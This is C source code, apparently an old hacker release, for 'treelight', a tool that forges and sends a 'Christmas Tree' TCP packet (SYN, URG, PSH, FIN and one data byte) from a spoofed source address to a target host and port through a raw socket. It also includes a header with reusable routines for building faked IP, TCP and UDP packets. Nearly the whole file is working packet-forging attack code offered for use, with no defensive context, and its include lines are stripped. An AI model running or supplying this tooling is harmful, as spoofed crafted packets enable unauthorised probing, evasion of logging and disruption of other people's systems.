/* Send a "Christmas Tree Packet" (SYN, URG, PSH, FIN and 1 Byte of data) */
/* from source.port to dest.port.  This type of packet is also known as a */
/* "Kamikaze Packet", "Nastygram", and "lamp test segment".               */

pktsend.h:
/* Prototypes. */
int sendpkt_tcp(struct sockaddr_in *, unsigned short int, char *, unsigned 
short int, unsigned long int, unsigned long int, unsigned short int, 
unsigned short int, unsigned char, unsigned long int, unsigned long int);

int sendpkt_udp(struct sockaddr_in *, unsigned short int, char *, unsigned 
short int, unsigned long int, unsigned long int, unsigned short int, 
unsigned short int);

/*
 * in_cksum --
 *  Checksum routine for Internet Protocol family headers (C Version)
 */
unsigned short in_cksum(addr, len)
    u_short *addr;
    int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;
 
    /*
     * Our algorithm is simple, using a 32 bit accumulator (sum), we add
     * sequential 16 bit words to it, and at the end, fold back all the
     * carry bits from the top 16 bits into the lower 16 bits.
     */
    while (nleft > 1)  {
        sum += *w++;
        nleft -= 2;
    }
 
    /* mop up an odd byte, if necessary */
    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }
 
    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
    sum += (sum >> 16);         /* add carry */
    answer = ~sum;              /* truncate to 16 bits */
    return(answer);
}

/* Send faked TCP packet. */
int
sendpkt_tcp(sin, s, data, datalen, saddr, daddr, sport, dport, flags, seq, ack) 
  struct sockaddr_in *sin;
  unsigned short int sport, dport, s, datalen;
  unsigned long  int daddr, saddr, seq, ack;
  unsigned char  flags;
  char *data;
{
  struct iphdr  ip;
  struct tcphdr tcp;
  static char packet[8192];
  unsigned short int len=0;
  char tcpbuf[8192];
  char *p;

  /* Fill in IP Header values. */
  ip.ihl      = 5;
  ip.version  = 4;
  ip.tos      = 0;
  ip.tot_len  = htons(40 + datalen);
  ip.id       = htons(31337 + (rand()%100));
  ip.frag_off = 0;
  ip.ttl      = 255;
  ip.protocol = IPPROTO_TCP;
  ip.check    = 0;
  ip.saddr    = saddr;
  ip.daddr    = daddr;
  ip.check    = in_cksum((char *)&ip, sizeof(ip));

  /* Fill in TCP Header values. */
  tcp.th_sport = htons(sport);
  tcp.th_dport = htons(dport);
  tcp.th_seq   = htonl(seq);
  tcp.th_ack   = htonl(ack);
  tcp.th_x2    = 0;
  tcp.th_off   = 5;
  tcp.th_flags = flags;
  tcp.th_win   = htons(10052);
  tcp.th_sum   = 0;
  tcp.th_urp   = 0;

  /* Add crap for our TCP checksum. */
  memset(tcpbuf, 0, 8192);
  p = tcpbuf;
  memcpy(p, &(ip.saddr), 8); /* This will copy saddr & daddr into the buffer */
  p += 9;                    /* Skip the 0 operator */
  memcpy(p++, &(ip.protocol), 1);
  len = htons(datalen + sizeof(tcp));
  memcpy(p, &(len), 2);
  p += 2;
  memcpy(p, &tcp, sizeof(tcp)+datalen);

  /* Now fill in the checksum. */
  tcp.th_sum = in_cksum((char *)tcpbuf, sizeof(tcp)+12+datalen);

  /* Now we copy our packet into a nice character array for sending. */
  memcpy(packet, (char *)&ip, sizeof(ip));
  memcpy(packet+sizeof(ip), (char *)&tcp, sizeof(tcp));
  memcpy(packet+sizeof(ip)+sizeof(tcp), (char *)data, datalen);
  
  /* And send... */
  return(sendto(s, packet, sizeof(ip)+sizeof(tcp)+datalen, 0, (struct 
sockaddr *)sin, sizeof(struct sockaddr_in)));

}  

/* Send faked UDP packet. */
int
sendpkt_udp(sin, s, data, datalen, saddr, daddr, sport, dport)
  struct sockaddr_in *sin;
  unsigned short int s, datalen, sport, dport;
  unsigned long  int saddr, daddr;
  char *data;
{  
  struct iphdr  ip;
  struct udphdr udp;
  static char packet[8192];

  /* Fill in IP header values. */
  ip.ihl      = 5;
  ip.version  = 4;
  ip.tos      = 0;
  ip.tot_len  = htons(28 + datalen);
  ip.id       = htons(31337 + (rand()%100));
  ip.frag_off = 0;
  ip.ttl      = 255;
  ip.protocol = IPPROTO_UDP;
  ip.check    = 0;
  ip.saddr    = saddr;
  ip.daddr    = daddr;
  ip.check    = in_cksum((char *)&ip, sizeof(ip));

  /* Fill in UDP header values. Checksums are unnecassary. */
  udp.source = htons(sport);
  udp.dest   = htons(dport);
  udp.len    = htons(8 + datalen);
  udp.check  = (unsigned short int)NULL;

  /* Copy the headers into our character array. */
  memcpy(packet, (char *)&ip, sizeof(ip));
  memcpy(packet+sizeof(ip), (char *)&udp, sizeof(udp));
  memcpy(packet+sizeof(ip)+sizeof(udp), (char *)data, datalen);

  return(sendto(s, packet, sizeof(ip)+sizeof(udp)+datalen, 0, (struct 
sockaddr *)sin, sizeof(struct sockaddr_in)));

}
-- cut here --

treelight.c:
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#include "pktsend.h"

#define err(x) { fprintf(stderr, x); exit(1); }

unsigned long int
resolve(host)
char host[255];
{
  unsigned long int addr;
  struct hostent *he;

  if((he = gethostbyname(host)) == NULL){
    if((he = gethostbyaddr(host, strlen(host), AF_INET)) == NULL)
      return -1;
  }

  bcopy(*(he->h_addr_list), &(addr), sizeof(he->h_addr_list));
  return(addr);
}

void
main(argc, argv)
int argc; char **argv;
{
  unsigned long  int saddr, daddr;
  unsigned short int sport, dport;
  struct sockaddr_in sin;
  int s;

  if(argc!=5)
    err("Usage: treelight    \n");

  /* Resolve Addresses. */
  if((saddr=resolve(argv[1])) == -1)
    err("Unable to resolve source address.\n");
  
  if((daddr=resolve(argv[3])) == -1)
    err("Unable to resolve destination address.\n");

  /* Convert port numbers to integers. */
  sport=(unsigned short int)atoi(argv[2]);
  dport=(unsigned short int)atoi(argv[4]);

  /* Open raw socket. */
  if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
    err("Unable to open raw socket.\n");

  sin.sin_family     = AF_INET;
  sin.sin_addr.s_addr= daddr;
  sin.sin_port       = dport;

  if((sendpkt_tcp(&sin, s, "1", 1, saddr, daddr, sport, dport, 
TH_SYN|TH_URG|TH_PUSH|TH_FIN, 2387283, 2387238)) == -1)
    err("Error sending our rad little packet.\n");
}
